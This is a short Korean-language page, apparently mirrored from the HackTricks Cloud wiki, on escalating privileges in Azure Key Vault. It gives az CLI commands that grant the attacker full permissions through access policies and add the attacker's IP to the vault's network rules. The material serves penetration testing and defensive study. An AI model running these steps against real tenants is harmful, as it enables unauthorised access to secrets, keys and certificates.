mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-04-28 12:03:08 -07:00
1.4 KiB
1.4 KiB
Az - Key Vault Privesc
{{#include ../../../banners/hacktricks-training.md}}
Azure Key Vault
이 서비스에 대한 자세한 정보는 다음을 확인하세요:
{{#ref}} ../az-services/az-keyvault.md {{#endref}}
Microsoft.KeyVault/vaults/write
이 권한을 가진 공격자는 키 자격 증명 저장소의 정책을 수정할 수 있습니다(키 자격 증명 저장소는 RBAC 대신 액세스 정책을 사용해야 합니다).
# If access policies in the output, then you can abuse it
az keyvault show --name <vault-name>
# Get current principal ID
az ad signed-in-user show --query id --output tsv
# Assign all permissions
az keyvault set-policy \
--name <vault-name> \
--object-id <your-object-id> \
--key-permissions all \
--secret-permissions all \
--certificate-permissions all \
--storage-permissions all
네트워크 제한 수정
민감한 데이터(예: 비밀의 값)에 접근할 수 있는 충분한 권한이 있을 수 있지만, 키 볼트가 특정 네트워크로 제한되어 있어 접근할 수 없을 수 있습니다. 네트워크 제한을 수정할 수 있는 권한이 있다면, 허용된 IP 목록에 자신의 IP를 추가할 수 있습니다.
# Get the current network restrictions
az keyvault network-rule list --name <vault-name>
# Add your IP to the list
az keyvault network-rule add --name <vault-name> --ip-address <your-ip>
{{#include ../../../banners/hacktricks-training.md}}